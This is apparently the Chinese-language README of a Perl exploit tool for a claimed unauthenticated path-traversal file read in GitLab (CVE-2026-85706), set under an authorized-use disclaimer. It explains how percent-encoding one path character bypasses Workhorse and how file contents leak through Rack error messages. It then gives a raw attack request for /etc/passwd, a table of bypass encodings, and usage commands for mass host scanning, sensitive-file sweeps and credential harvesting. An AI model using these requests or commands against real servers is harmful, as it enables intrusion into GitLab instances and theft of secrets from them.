仅限用于经授权的渗透测试和红队行动。
未经授权的使用构成刑事犯罪。参见法律声明。
CVE-2026-85706 是 GitLab 社区版和企业版中的一个 CVSS 10.0 路径遍历漏洞,允许完全未认证的攻击者通过单个 HTTP 请求从服务器文件系统读取任意文件。无需凭据、无需令牌、无需用户交互。
| 分支 | 受影响范围 | 修复版本 |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab 的 HTTP 栈分为三层:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse 充当智能反向代理:对于某些“上传”端点(仓库提交、文件操作),它会读取 multipart 请求体,将文件数据保存到磁盘,并在转发给 Puma 之前重写请求。关键在于,它会为代理的每个请求附加一个 JWT 头(Gitlab-Workhorse-Api-Request)。随后 Rails 在执行任何处理程序逻辑之前会验证此 JWT(通过 require_gitlab_workhorse!)。
第 1 层 — Workhorse 路由匹配:
Workhorse 使用编译后的正则表达式匹配请求路径,该正则表达式作用于原始的、百分号编码的字节字符串。它在匹配之前不会解码 %XX 序列。
第 2 层 — Puma/Rack 路由:
Puma 在 Grape 路由请求之前解码 %XX 序列。因此,对 /repository/%63ommits 的请求会被解码为 /repository/commits 并路由到 CommitsController。
第 3 层 — 预认证文件读取:
一旦进入 Rails 处理程序(由于 Workhorse 从未匹配该请求,因此到达时没有 Workhorse 的 JWT),处理程序会从查询字符串中读取 params[:file][:path] 并调用:
File.open(params[:file][:path]) # ← happens BEFORE authentication
通过对静态路径段中的一个字符进行百分号编码,攻击者的请求便能悄无声息地绕过 Workhorse:
| 路径段 | 原始值 | 绕过形式 | 编码字符 |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (任意) | commits | commits/ | 尾部斜杠 |
| (任意) | commits | commits.json | Grape 后缀 |
文件被打开后,内容会通过 Rack 的查询字符串解析器被窃取:
Rack::Utils.parse_nested_query(File.read(path))
如果文件中包含一个 %,其后没有紧跟两个有效的十六进制数字(这在 Ruby 配置文件、CI YAML、日志等中很常见),Rack 会抛出:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
这个包含 400 个响应的响应体包含了原始文件内容,直至并包括违规字节——从而向未认证的调用者泄露了文件内容。
不含可利用 % 序列的文件(例如干净的 /etc/passwd)在读取后返回 401 或参数校验错误:这充当了文件存在性预言机(读取仍然在认证之前发生)。
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| 技术 | ID | 本 PoC 中的实现 |
|---|---|---|
| 文件与目录发现 | T1083 | --scan 模式探测 38 个敏感服务器路径 |
| 文件中的凭据 | T1552.001 | --harvest 从泄露内容中提取密钥/令牌/密码 |
| 模块 | 软件包 | 作用 |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP 客户端(必需) |
LWP::Protocol::https | libwww-perl | HTTPS 支持(必需) |
URI::Escape | liburi-perl | 查询字符串编码(必需) |
Term::ANSIColor | libterm-ansicolor-perl | 彩色输出(可选) |
JSON | libjson-perl | JSON 输出模式(可选) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| 快速(默认) | 完整(--full) | |
|---|---|---|
| 请求数 | ≤9(1 次预检 + ≤4×2) | 27+ |
| 提前退出 | 是 — 在首次确认差异时停止 | 否 — 扫描全部 22 种形式 |
| 版本信息 | 否 | 是 |
| 绕过形式 | 4 种代表性 Files API | 全部 22 种(Commits + Files API) |
| 适用场景 | 快速侦察、大规模主机列表 | 渗透测试报告、--file/--scan 准备 |
快速检查流程:
GET /api/v4/version — 可达性 + GitLab 提示/etc/hostname + 唯一 canarycanary → 'local file not present' ∧ hostname ≠ canary → 存在漏洞(立即退出)完整检查流程(--full):
--project-id 与检查模式--project-id 标志可用于所有模式,包括 --check 和 --check-host-list。理解其交互方式:
| 绕过组 | 形式 | 项目 ID 依赖 |
|---|---|---|
Files API(%66iles、%46iles、re%70ository/files、…) | 14 | 无 — 按 CVE 的设计,文件读取先于项目检查。任何 ID(甚至不存在的)都会产生正确信号。 |
Commits API(%63ommits、%43ommits、repository/commits/、…) | 8 | 必需 — 项目必须存在且可匿名读取。否则返回 project-gate。 |
实用建议:
--check(快速):仅使用 Files API 形式 → 项目 ID 无关紧要。--check --full:测试全部 22 种形式。如果你知道一个公开项目 ID,传入 --project-id <N> 以同时确认 Commits API 形式。--check-host-list:单个 --project-id 很少能对应所有主机上的公开项目。请省略它。# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd